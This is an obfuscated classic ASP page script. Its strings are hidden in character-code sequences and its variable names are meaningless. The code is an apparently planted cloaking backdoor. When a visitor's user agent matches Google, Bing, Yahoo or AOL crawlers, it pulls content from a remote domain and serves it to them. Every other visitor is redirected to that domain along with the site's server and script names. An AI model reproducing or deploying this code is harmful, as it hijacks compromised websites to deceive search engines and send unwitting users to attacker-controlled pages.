<%@LANGUAGE="VBSCRIPT" CODEPAGE="65001"%> <% Public d4h6d4d4d4h6h6h6d4h6d4d4h6,d4h6h6d4d4h6d4h6h6h6h6d4d4h6,d4d4d4d4d4h6d4h6h6h6d4h6d4,d4d4h6h6h6h6d4h6d4h6d4d4h6,d4h6h6h6d4h6d4d4h6h6h6d4h6h6,d4d4h6d4d4d4d4h6h6d4 Public d4h6h6h6h6h6h6h6h6h6d4h6h6d4 Public d4h6h6d4d4h6d4h6d4 Public d4h6h6h6h6h6h6h6h6d4d4 On Error Resume Next Server.ScriptTimeout = ( 16 * 8 - - 9999871 ) d4h6d4d4d4h6h6h6d4h6d4d4h6 = Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 58 ) & Chr ( 47 ) & Chr ( 47 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 119 ) & Chr ( 46 ) & Chr ( 100 ) & Chr ( 120 ) & Chr ( 119 ) & Chr ( 48 ) & Chr ( 49 ) & Chr ( 46 ) & Chr ( 99 ) & Chr ( 111 ) & Chr ( 109 ) d4h6h6d4d4h6d4h6h6h6h6d4d4h6 = Request.ServerVariables ( Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 86 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 78 ) & Chr ( 65 ) & Chr ( 77 ) & Chr ( 69 ) ) d4d4d4d4d4h6d4h6h6h6d4h6d4 = Request.ServerVariables ( Chr ( 83 ) & Chr ( 67 ) & Chr ( 82 ) & Chr ( 73 ) & Chr ( 80 ) & Chr ( 84 ) & Chr ( 95 ) & Chr ( 78 ) & Chr ( 65 ) & Chr ( 77 ) & Chr ( 69 ) ) d4d4h6h6h6h6d4h6d4h6d4d4h6 = Request.ServerVariables ( Chr ( 81 ) & Chr ( 85 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 89 ) & Chr ( 95 ) & Chr ( 83 ) & Chr ( 84 ) & Chr ( 82 ) & Chr ( 73 ) & Chr ( 78 ) & Chr ( 71 ) ) d4h6h6h6d4h6d4d4h6h6h6d4h6h6 = "" d4d4h6d4d4d4d4h6h6d4 = "" d4h6h6h6h6h6h6h6h6h6d4h6h6d4 = Split ( d4d4h6h6h6h6d4h6d4h6d4d4h6 , Chr ( 45 ) ) If UBound ( d4h6h6h6h6h6h6h6h6h6d4h6h6d4 ) >= ( 61 * 36 - 2194 ) Then d4d4h6d4d4d4d4h6h6d4 = d4h6h6h6h6h6h6h6h6h6d4h6h6d4 ( ( 10 * 62 - 619 ) ) End If If d4d4d4d4h6d4d4h6d4h6d4h6h6 = Chr ( 116 ) & Chr ( 114 ) & Chr ( 117 ) & Chr ( 101 ) Then d4h6h6d4d4h6d4h6d4 = d4h6d4d4d4h6h6h6d4h6d4d4h6 & Chr ( 47 ) & Chr ( 99 ) & Chr ( 110 ) & Chr ( 122 ) & Chr ( 122 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 111 ) & Chr ( 110 ) & Chr ( 61 ) & Chr ( 111 ) & Chr ( 117 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 117 ) & Chr ( 116 ) & Chr ( 38 ) & Chr ( 104 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 95 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 61 ) & d4h6h6d4d4h6d4h6h6h6h6d4d4h6 & Chr ( 38 ) & Chr ( 115 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 95 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 109 ) & Chr ( 101 ) & Chr ( 61 ) & d4d4d4d4d4h6d4h6h6h6d4h6d4 & Chr ( 38 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 95 ) & Chr ( 105 ) & Chr ( 100 ) & Chr ( 61 ) & d4d4h6h6h6h6d4h6d4h6d4d4h6 d4h6h6h6h6h6h6h6h6d4d4 = d4h6h6d4h6d4d4h6h6h6d4d4h6 ( d4h6h6d4d4h6d4h6d4 ) Response.AddHeader Chr ( 67 ) & Chr ( 111 ) & Chr ( 110 ) & Chr ( 116 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 116 ) & Chr ( 45 ) & Chr ( 84 ) & Chr ( 121 ) & Chr ( 112 ) & Chr ( 101 ) , Chr ( 116 ) & Chr ( 101 ) & Chr ( 120 ) & Chr ( 116 ) & Chr ( 47 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 59 ) & Chr ( 99 ) & Chr ( 104 ) & Chr ( 97 ) & Chr ( 114 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 116 ) & Chr ( 61 ) & Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 ) Response.Write ( d4h6h6h6h6h6h6h6h6d4d4 ) Else d4h6h6d4d4h6d4h6d4 = d4h6d4d4d4h6h6h6d4h6d4d4h6 & Chr ( 47 ) & Chr ( 99 ) & Chr ( 110 ) & Chr ( 122 ) & Chr ( 122 ) & Chr ( 46 ) & Chr ( 112 ) & Chr ( 104 ) & Chr ( 112 ) & Chr ( 63 ) & Chr ( 97 ) & Chr ( 99 ) & Chr ( 116 ) & Chr ( 105 ) & Chr ( 111 ) & Chr ( 110 ) & Chr ( 61 ) & Chr ( 102 ) & Chr ( 101 ) & Chr ( 116 ) & Chr ( 99 ) & Chr ( 104 ) & Chr ( 38 ) & Chr ( 104 ) & Chr ( 111 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 95 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 109 ) & Chr ( 97 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 61 ) & d4h6h6d4d4h6d4h6h6h6h6d4d4h6 & Chr ( 38 ) & Chr ( 115 ) & Chr ( 99 ) & Chr ( 114 ) & Chr ( 105 ) & Chr ( 112 ) & Chr ( 116 ) & Chr ( 95 ) & Chr ( 110 ) & Chr ( 97 ) & Chr ( 109 ) & Chr ( 101 ) & Chr ( 61 ) & d4d4d4d4d4h6d4h6h6h6d4h6d4 & Chr ( 38 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 95 ) & Chr ( 98 ) & Chr ( 100 ) & Chr ( 61 ) & d4d4h6d4d4d4d4h6h6d4 Response.Redirect ( d4h6h6d4d4h6d4h6d4 ) End If Response.End Response.Write vbCrLf Function d4d4d4d4h6d4d4h6d4h6d4h6h6 Dim d4h6h6h6d4h6h6d4h6h6d4d4h6d4 Dim d4d4d4d4d4d4h6h6h6d4h6d4 Dim d4h6h6h6h6d4d4d4d4h6d4h6 d4d4d4d4h6d4d4h6d4h6d4h6h6 = Chr ( 102 ) & Chr ( 97 ) & Chr ( 108 ) & Chr ( 115 ) & Chr ( 101 ) d4h6h6h6d4h6h6d4h6h6d4d4h6d4 = Chr ( 97 ) & Chr ( 103 ) & Chr ( 101 ) & Chr ( 110 ) & Chr ( 116 ) & Chr ( 58 ) & LCase ( Request.ServerVariables ( Chr ( 72 ) & Chr ( 84 ) & Chr ( 84 ) & Chr ( 80 ) & Chr ( 95 ) & Chr ( 85 ) & Chr ( 83 ) & Chr ( 69 ) & Chr ( 82 ) & Chr ( 95 ) & Chr ( 65 ) & Chr ( 71 ) & Chr ( 69 ) & Chr ( 78 ) & Chr ( 84 ) ) ) d4d4d4d4d4d4h6h6h6d4h6d4 = Chr ( 97 ) & Chr ( 111 ) & Chr ( 108 ) & Chr ( 124 ) & Chr ( 103 ) & Chr ( 111 ) & Chr ( 111 ) & Chr ( 103 ) & Chr ( 108 ) & Chr ( 101 ) & Chr ( 98 ) & Chr ( 111 ) & Chr ( 116 ) & Chr ( 124 ) & Chr ( 121 ) & Chr ( 97 ) & Chr ( 104 ) & Chr ( 111 ) & Chr ( 111 ) & Chr ( 124 ) & Chr ( 98 ) & Chr ( 105 ) & Chr ( 110 ) & Chr ( 103 ) & Chr ( 98 ) & Chr ( 111 ) & Chr ( 116 ) d4h6h6h6h6h6h6h6h6h6d4h6h6d4 = Split ( d4d4d4d4d4d4h6h6h6d4h6d4 , Chr ( 124 ) ) For d4h6h6h6h6d4d4d4d4h6d4h6 = ( 71 * 49 - 3479 ) To UBound ( d4h6h6h6h6h6h6h6h6h6d4h6h6d4 ) If InStr ( ( 23 * 12 - 275 ) , d4h6h6h6d4h6h6d4h6h6d4d4h6d4 , d4h6h6h6h6h6h6h6h6h6d4h6h6d4 ( d4h6h6h6h6d4d4d4d4h6d4h6 ) , ( 47 * 41 - 1926 ) ) > ( 85 * 27 - 2295 ) Then d4d4d4d4h6d4d4h6d4h6d4h6h6 = Chr ( 116 ) & Chr ( 114 ) & Chr ( 117 ) & Chr ( 101 ) Exit For End If Next End Function Function d4h6h6d4h6d4d4h6h6h6d4d4h6(d4h6d4h6h6d4h6 ) Dim d4h6h6d4d4h6h6h6h6h6d4 Dim d4d4d4h6d4h6d4h6d4 Dim d4h6d4h6d4h6h6d4d4h6h6h6 Dim d4d4h6h6d4d4d4d4d4d4d4d4 Set d4d4h6h6d4d4d4d4d4d4d4d4 = Server.CreateObject ( Chr ( 109 ) & Chr ( 115 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 50 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 118 ) & Chr ( 101 ) & Chr ( 114 ) & Chr ( 120 ) & Chr ( 109 ) & Chr ( 108 ) & Chr ( 104 ) & Chr ( 116 ) & Chr ( 116 ) & Chr ( 112 ) & Chr ( 46 ) & Chr ( 51 ) & Chr ( 46 ) & Chr ( 48 ) ) d4d4h6h6d4d4d4d4d4d4d4d4.setTimeouts ( 41 * 83 - - 56597 ) , ( 85 * 4 - - 59660 ) , ( 23 * 13 - - 59701 ) , ( 69 * 99 - - 53169 ) d4d4h6h6d4d4d4d4d4d4d4d4.Open Chr ( 71 ) & Chr ( 69 ) & Chr ( 84 ) , d4h6d4h6h6d4h6 , False d4d4h6h6d4d4d4d4d4d4d4d4.Send If d4d4h6h6d4d4d4d4d4d4d4d4.Readystate = ( 88 * 27 - 2372 ) Then If d4d4h6h6d4d4d4d4d4d4d4d4.status = ( 64 * 53 - 3192 ) Then d4d4d4h6d4h6d4h6d4 = d4d4h6h6d4d4d4d4d4d4d4d4.responseText d4h6h6d4d4h6h6h6h6h6d4 = d4d4h6h6d4d4d4d4d4d4d4d4.responseBody d4h6d4h6d4h6h6d4d4h6h6h6 = Chr ( 117 ) & Chr ( 116 ) & Chr ( 102 ) & Chr ( 45 ) & Chr ( 56 ) d4h6h6d4h6d4d4h6h6h6d4d4h6 = d4h6h6h6h6d4d4h6h6d4d4d4d4h6 ( d4d4h6h6d4d4d4d4d4d4d4d4.responseBody , Trim ( d4h6d4h6d4h6h6d4d4h6h6h6 ) ) End If End If End Function Function d4h6h6h6h6d4d4h6h6d4d4d4d4h6(d4d4h6,d4d4h6d4d4h6h6d4d4h6d4 ) Dim d4h6h6h6d4d4d4d4d4h6d4h6h6h6 Set d4h6h6h6d4d4d4d4d4h6d4h6h6h6 = Server.CreateObject ( Chr ( 97 ) & Chr ( 100 ) & Chr ( 111 ) & Chr ( 100 ) & Chr ( 98 ) & Chr ( 46 ) & Chr ( 115 ) & Chr ( 116 ) & Chr ( 114 ) & Chr ( 101 ) & Chr ( 97 ) & Chr ( 109 ) ) d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Type = ( 68 * 78 - 5303 ) d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Mode = ( 49 * 36 - 1761 ) d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Open d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Write d4d4h6 d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Position = ( 23 * 81 - 1863 ) d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Type = ( 6 * 5 - 28 ) d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Charset = d4d4h6d4d4h6h6d4d4h6d4 d4h6h6h6h6d4d4h6h6d4d4d4d4h6 = d4h6h6h6d4d4d4d4d4h6d4h6h6h6.ReadText d4h6h6h6d4d4d4d4d4h6d4h6h6h6.Close Set d4h6h6h6d4d4d4d4d4h6d4h6h6h6 = Nothing End Function %>